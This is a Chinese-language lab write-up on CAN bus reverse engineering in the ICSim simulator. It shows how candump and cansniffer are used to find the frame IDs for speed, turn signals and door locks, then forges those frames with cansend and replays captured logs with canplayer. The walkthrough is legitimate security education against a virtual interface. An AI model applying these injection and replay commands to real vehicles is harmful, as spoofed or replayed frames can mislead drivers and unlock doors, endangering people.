ICSim CAN 总线逆向与伪造,重放攻击

什么是can总线

是车辆内部ECU之间通信的串行总线协议,每个ECU负责管理一个或多个特定的功能

can的通信方式是全局通信,因此,只要接入任意节点,便能轻易访问总线上所有的信息,且它是以明文形式传输,没有任何保护,但是有crc校验

cam总线有优先级的仲裁方式,多条消息,优先级高的先行发出,所以利用这一点,可以致使ECU无法正常工作

can总线不包含发送方的信息

can的数据帧结构:SOF | Arbitration | Control | Data | CRC | ACK | EOF

安装环境

先安装依赖

1
2
3
4
5
6
7
sudo apt update
sudo apt install -y \
can-utils \
git \
build-essential \
libsdl2-dev \
libsdl2-image-dev

然后下载ICSIM模拟器,可以模拟汽车的仪表盘和控制器

1
2
3
git clone https://github.com/zombieCraig/ICSim
cd ICSim
make

接着就是开启网卡,用来作接口

1
2
3
4
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

执行完要看看有没有生成vcan0网卡

启动模拟器

进入ICSim文件夹,icsim是用来模拟面板,controls是用来模拟控制器

1
2
3
4
5
6
7
…/ICSim on 🌱 master [🤷] via C v11.4.0-gcc 

❯ ls
art controls.o icsim.c lib.h Makefile setup_vcan.sh
controls data icsim.o lib.o meson.build
controls.c icsim lib.c LICENSE README.md

开启

1
./icsim vcan0
1
./controls vcan0
1776179699260

然后就是输入对应按键执行就好了

加速:上箭头

减速:下箭头

左闪光:左箭头

右闪光:右箭头

双闪:双箭头

开车门:左shift+对应按键(A,X,Y,B)

关车门:右shift+对应按键

分析can帧

获取can流量:candump vcan0

直接看第一行,166指的是can_id,就是优先级,越小越优先。中括号内的就是字节数,后面就是内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
…/ICSim on 🌱 master [🤷] via C v11.4.0-gcc 

❯ candump vcan0
vcan0 166 [4] D0 32 00 36
vcan0 244 [5] 00 00 00 01 9E
vcan0 039 [2] 00 2A
vcan0 158 [8] 00 00 00 00 00 00 00 37
vcan0 161 [8] 00 00 05 50 01 08 00 3A
vcan0 191 [7] 01 00 90 A1 41 00 21
vcan0 133 [5] 00 00 00 00 89
vcan0 136 [8] 00 02 00 00 00 00 00 0C
vcan0 13A [8] 00 00 00 00 00 00 00 0A
vcan0 13F [8] 00 00 00 05 00 00 00 00
vcan0 164 [8] 00 00 C0 1A A8 00 00 22
vcan0 17C [8] 00 00 00 00 10 00 00 03
vcan0 18E [3] 00 00 4D
vcan0 1CF [6] 80 05 00 00 00 0F
vcan0 1DC [4] 02 00 00 0C
vcan0 183 [8] 00 00 00 10

伪造攻击

然后就是要寻找对应的仲裁id

cansniffer -c vcan0:这个可以分析每毫秒在变化的字节所在的帧,就是can_id

因此可以发现,车速的仲裁id是244

获取流量candump vcan0,244:7FF,7ff是掩码,指的是获取高11位的数据,最后一个字节应该是校验的,因为不加速的时候也在不停变化

1
2
3
4
5
6
7
8
9
10
11
12
…/ICSim on 🌱 master [🤷] via C v11.4.0-gcc 

❯ candump vcan0,244:7ff
vcan0 244 [5] 00 00 00 04 50
vcan0 244 [5] 00 00 00 04 62
vcan0 244 [5] 00 00 00 04 74
vcan0 244 [5] 00 00 00 04 86
。。。。。。。。。。。。。
vcan0 244 [5] 00 00 00 09 55
vcan0 244 [5] 00 00 00 09 67
vcan0 244 [5] 00 00 00 09 7A

然后关闭控制器,发送cansend vcan0 244#000000FF00,可以发现仪表盘速度改为对应大小

然后可以发现转向灯的仲裁id应该是188

01 00 00 00 00:左转

02 00 00 00 00:右转

03 00 00 00 00:双闪

然后是开关车门仲裁id是19B,全开就是00 00 0F 00 00 00,全关就是00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
…/ICSim on 🌱 master [🤷] via C v11.4.0-gcc 

❯ candump vcan0,19B:7FF
vcan0 19B [6] 00 00 0F 00 00 00
vcan0 19B [6] 00 00 0F 00 00 00
vcan0 19B [6] 00 00 0F 00 00 00
vcan0 19B [6] 00 00 0F 00 00 00
vcan0 19B [6] 00 00 0E 00 00 00
vcan0 19B [6] 00 00 0C 00 00 00
vcan0 19B [6] 00 00 04 00 00 00
vcan0 19B [6] 00 00 00 00 00 00
^C
…/ICSim on 🌱 master [🤷] via C v11.4.0-gcc took 35s



至此通过获取仲裁id,我们可以通过这些id去实际控制车辆功能,这就是伪造攻击

重放攻击

首先是获取流量记录,当是速度到达一定值,执行candump -l vcan0,会生成一个流量文件,然后回放文件,执行canplayer -I xxxxx.log就可以回溯成功了

参考

ICSim CAN 总线逆向与伪造,重放攻击-先知社区